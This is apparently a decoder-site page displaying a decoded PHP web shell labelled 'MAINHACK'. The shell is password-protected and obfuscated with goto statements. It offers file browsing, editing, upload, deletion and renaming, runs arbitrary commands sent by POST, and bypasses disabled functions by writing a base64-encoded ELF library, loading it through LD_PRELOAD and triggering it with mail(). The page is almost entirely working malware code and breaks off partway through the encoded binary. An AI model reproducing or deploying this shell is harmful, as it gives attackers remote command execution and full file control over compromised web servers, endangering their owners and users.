Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto rr6i8; 
WCaWu: Qz3oc: goto Gr44D; 
pVUmP: Pp1Zu: goto ZsAPR; 
lfT1N: echo "<font color='black'>MAINHACK</font><br>"; 
goto SryNQ; 
VJC3C: $zBsCx = date_default_timezone_get(); 
goto Cf2uY; goUlv: KT56f: goto vjukv; ResoH: 
$mmcsb = $_SERVER["PHP_SELF"]; goto MfFYC; 
Z1EgI: if (is_resource($siSWV)) { goto s40t6; } goto H0w0E; 
TK_Q4: $lmYiL($n6VLX . "/acpid.socket", $tYNdb($JIVOh)); goto DpcY0; 
nxzug: $R3e43 = "<hr><p>Error: </p><textarea class="result-box">" . $KuAwk($doGtU) . "</textarea>"; goto hQvgI; 
zjvFO: echo "<hr>Error: Failed to delete folder!"; goto a0c_o; 
eWtgr: dkggr: goto fKuXS; 
sIyHh: if (!empty($doGtU)) { goto c00y3; } goto bz4KH; 
sYntS: hLkDg: goto PlcQz; 
LTyCv: echo "<table border=1>"; goto zK6yM; 
YxWyJ: $tLeVE = "basename"; goto OY5uA; 
wLMAP: $umNC6 = $Pd0rp($mmcsb); goto t35Zu; U0SDo: oxV3W: goto icAHj; qW6Oa: goto Il8sa; goto KZa35; 
RQhmh: $MNwFI = $mNuM0 . "/" . $_POST["view_file"]; goto h1FJd; 
Gr44D: goto Il8sa; goto fTzX4; 
V2mZr: qBGxG: goto EB7CT; 
XagDJ: s40t6: goto FdcBq; 
FdcBq: $cT2o_ = $jpVlP($jU5B0[1]); goto dIfal; 
tkjGZ: echo "<hr>Item renamed successfully!"; goto V2mZr; 
iysxJ: $ksaox = "$2a$10$7tsABSzdLYJjylPqNmf62.DFVNmw9JAWJOOWGPs0kSlKsnCJejLqG"; goto vO__9; CUBNs: 
QqqQM: goto YLCnW; 
IZgB3: echo "<hr>Error: Item not found!"; goto dbEJB; 
Z4Oxr: goto oxV3W; goto lfVs6; 
BQfKL: jIn7G: goto OE8Ih; 
eVPKv: echo "<font color='black'>[ Function mail() ] :</font><font color='green'> [ ON ]</font><br>"; goto ujZwA; 
wLWBY: $t0kuH($jU5B0[2]); goto hl0ff; 
gYKdp: if ($tQ8kS($HMFpD, '') !== false) { goto Hrp31; } goto TIu9J; 
Gd3fA: if (!($_SERVER["REQUEST_METHOD"] === "POST")) { goto HN1qD; } goto oaKWx; 
S3Vjq: goto jlj6t; goto CUBNs; 
NG1Za: if (isset($_POST["rename_item"]) && isset($_POST["old_name"]) && isset($_POST["new_name"])) { goto XGALl; } goto OQcuD; 
nN1lA: goto Il8sa; goto skOTg; 
OE8Ih: qRrSl: goto goUlv; 
QmSY3: echo "<a href="?d=" . Ws0so($sU1nY) . ""> / <span style="color: green;">[ GO Home ]</span></a>"; goto yBpB0; 
zWa_i: C5AkW: goto fsdvX; ltVxE: $R3e43 = "<hr><p>Error: File not found!</p>"; goto GxGYM; y4V26: goto AjDR1; goto hwEao; DiClr: if (isset($_POST["pass"]) && password_verify($_POST["pass"], $ksaox)) { goto EgjYV; } goto GzrZf; f_AxW: VU5I8: goto PrAbX; rXl8H: goto Il8sa; goto coU1W; sWIls: AjDR1: goto nN1lA; p8ka9: HN1qD: goto tBWDa; I8Au3: if (!isset($_POST["cmd"])) { goto Pp1Zu; } goto ty51g; OE7IC: $nk3MU = $mNuM0 . "/" . $_POST["old_name"]; goto CAZJL; RP1pI: echo "<font color='black'>[ Function mail() ] :<font color='red'> [ OFF ]</font><br>"; goto qT8Ye; DTISc: function PBq0m($Fn8B3) { $YCTWa = "base64_decode"; return $YCTWa($Fn8B3); } goto lfT1N; CAZJL: $rN_YF = $mNuM0 . "/" . $_POST["new_name"]; goto ICk9J; hipCP: echo "</form><hr>"; goto PbUb9; coU1W: PtVRH: goto iLnZg; icAHj: Il8sa: goto p8ka9; qpXbg: PujXZ: goto qW6Oa; VGKJZ: $Pd0rp = "dirname"; goto ResoH; r1yAN: sduzm: goto ktPpP; ty51g: $icAo3 = $_POST["cmd"]; goto fpbvb; SbTbo: $siSWV = $MGaYd($OlxsI, $Pgrac, $jU5B0); goto Z1EgI; EzROB: goto Il8sa; goto WyQ_X; HWVW4: goto PujXZ; goto XagDJ; rDmdt: goto Il8sa; goto s7t4K; b0Eub: foreach ($_GET as $RC_VH => $Oflmp) { $_GET[$RC_VH] = pBQ0m($Oflmp); Js5rn: } goto f_AxW; SfUKQ: goto xR0FT; goto iJKw_; LtDq5: xR0FT: goto f5XeT; iLnZg: $Xz4U1 = $_POST["folder_name"]; goto kZgt_; fKuXS: echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>"; goto ES7ra; fpbvb: $icAo3 .= " > /tmp/cmd_output.log 2>&1 &"; goto JQHC2; HAnvU: if (isset($_POST["view_file"])) { goto ki926; } goto lLIGH; MyZl3: $t0kuH = "fclose"; goto nFORX; MXJep: e81Vm: goto sWIls; h1FJd: if (file_exists($MNwFI)) { goto Xd5lI; } goto ltVxE; qe0jW: $HMFpD = $mNuM0 . "/" . $qN9pk; goto NN13M; m2Iom: N0dc9: goto MXJep; A33PD: $vI6ZW = "putenv"; goto S0ZP3; TjCom: $CoIK1 = "is_writable"; goto ZrpjC; JTOBw: a7Y6I: goto y0V_H; zK6yM: echo "<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></center></center></center>"; goto zR9LT; skOTg: KMGIt: goto A33PD; dbEJB: goto Wbw2a; goto c0d0C; f8iSa: $gJe5O = false; goto TIU2L; RXbF4: $YEz1s = "scandir"; goto XymN0; fTyJA: goto dqF23; goto FgpUn; GxGYM: goto Qz3oc; goto mrwJb; q0iUH: $dXr_q = "unlink"; goto VJC3C; Y3jiq: $vI6ZW("LD_PRELOAD=" . $n6VLX . "/chankro.so"); goto ZJ2To; TIU2L: foreach ($mJiG1 as $cx7Yr => $vtqMS) { goto Vj7K9; pPk7v: geIb2: goto ijwDg; l6iNI: echo "/<a href="?d=" . WS0sO($z637l) . "">" . $vtqMS . "</a>"; goto h1mHN; V1d9a: AziGm: goto B_Kh8; HHhba: RRmFJ: goto V1d9a; h1mHN: goto RRmFJ; goto pPk7v; rK3TW: if ($cx7Yr == 0) { goto geIb2; } goto l6iNI; Vj7K9: $z637l .= DIRECTORY_SEPARATOR . $vtqMS; goto rK3TW; ijwDg: echo "/<a href="?d=" . Ws0sO($z637l) . "">" . $vtqMS . "</a>"; goto HHhba; B_Kh8: } goto gamGi; ktPpP: $qN9pk = $_POST["file_name"]; goto qe0jW; ZJ2To: $tncC4("a", "a", "a", "a"); goto EzROB; FGcqO: HpBjD: goto wg__r; mrwJb: Xd5lI: goto EHwyH; Ru7Xn: if ($yzkr1($L6Eil) !== false) { goto HpBjD; } goto LiNZe; GuZrg: if (is_dir($StsHa)) { goto QDaDG; } goto mgZk4; jPavw: echo "<hr>Error: Failed to delete file!"; goto fTyJA; hyh3j: if (isset($_POST["delete_file"])) { goto TZtCk; } goto NG1Za; b4HVe: exit; goto SfUKQ; S0ZP3: $lmYiL = "file_put_contents"; goto qf84g; mgZk4: if ($dXr_q($StsHa)) { goto Esigd; } goto jPavw; d1B7d: $CFTIa = $_POST["content"]; goto vfyPe; c0d0C: bhGbO: goto G1dYa; Mnn9o: echo $R3e43; goto LTyCv; yvQXZ: if (isset($_POST["cmd_input"])) { goto KMGIt; } goto hyh3j; JWAOT: $jpVlP = "stream_get_contents"; goto Zbwkz; yBpB0: echo "<br>"; goto BaEaJ; EB7CT: Wbw2a: goto MKly1; s7t4K: kwSCH: goto c8US9; Vwf_j: $LxDfZ = $fhupm($MNwFI); goto NAkoi; xmYkH: $sU1nY = $MLjTB(__FILE__); goto ShvT9; sNU2T: $R3e43 = "<hr><p>Result: " . $_POST["view_file"] . "</p>
            <form method="post" action="?" . (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : '') . "">
            <textarea name="content" class="result-box">" . $KuAwk($LxDfZ) . "</textarea><td>\xa            <input type="hidden" name="edit_file" value="" . $_POST["view_file"] . "">
            <input type="submit" value=" Save "></form></td>"; goto WCaWu; j3LA1: if (function_exists("putenv")) { goto dkggr; } goto s1Kpc; LnYjD: c00y3: goto nxzug; LdJ3r: echo "<hr>File deleted successfully!"; goto a6Rea; LuCXL: k5oDj: goto u49wR; a6Rea: dqF23: goto AUokE; frtBS: if (isset($_POST["folder_name"]) && !empty($_POST["folder_name"])) { goto PtVRH; } goto Jz6AJ; UB88Z: goto Il8sa; goto r1yAN; ZrpjC: $jzYXM = "move_uploaded_file"; goto YxWyJ; RKmlg: echo "<hr>Error: Failed to rename item!"; goto VV4me; lfVs6: yWRme: goto PDEkV; MfFYC: $w6Y0T = $_SERVER["DOCUMENT_ROOT"]; goto wLMAP; bz4KH: $R3e43 = "<hr><p>Result: </p><textarea class="result-box">" . $KuAwk($cT2o_) . "</textarea>"; goto JZS9E; uyqH9: $R3e43 = ''; goto Gd3fA; YX4Cm: echo "<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">"; goto srqgv; AdbzJ: if (file_exists($MNwFI)) { goto R69PU; } goto dsJnS; XymN0: $o9GNs = "realpath"; goto mRRko; Jz6AJ: if (isset($_POST["file_name"])) { goto sduzm; } goto yvQXZ; qd2AS: if (file_exists($StsHa)) { goto vJ8ce; } goto si19C; jOBH_: $rvTYR = "chdir"; goto xYy56; l7fjX: $JOg_D = "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AAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdALxEiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv//zYPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP//yVIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF///xAAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP//z8AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIAD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AAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAABgHAAAAAAAAGAcAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAwBwAAAAAAADAHAAAAAAAAoAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAA0AcAAAAAAADQBwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAOAHAAAAAAAA4AcAAAAAAAB6AQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAABcCQAAAAAAAFwJAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAZQkAAAAAAABlCQAAAAAAABMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAACwCQAAAAAAALAJAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAA+A0gAAAAAAD4DQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAABAAAAAwAAAAAAAAAQDiAAAAAAABAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADQAAAABgAAAAMAAAAAAAAAGA4gAAAAAAAYDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADA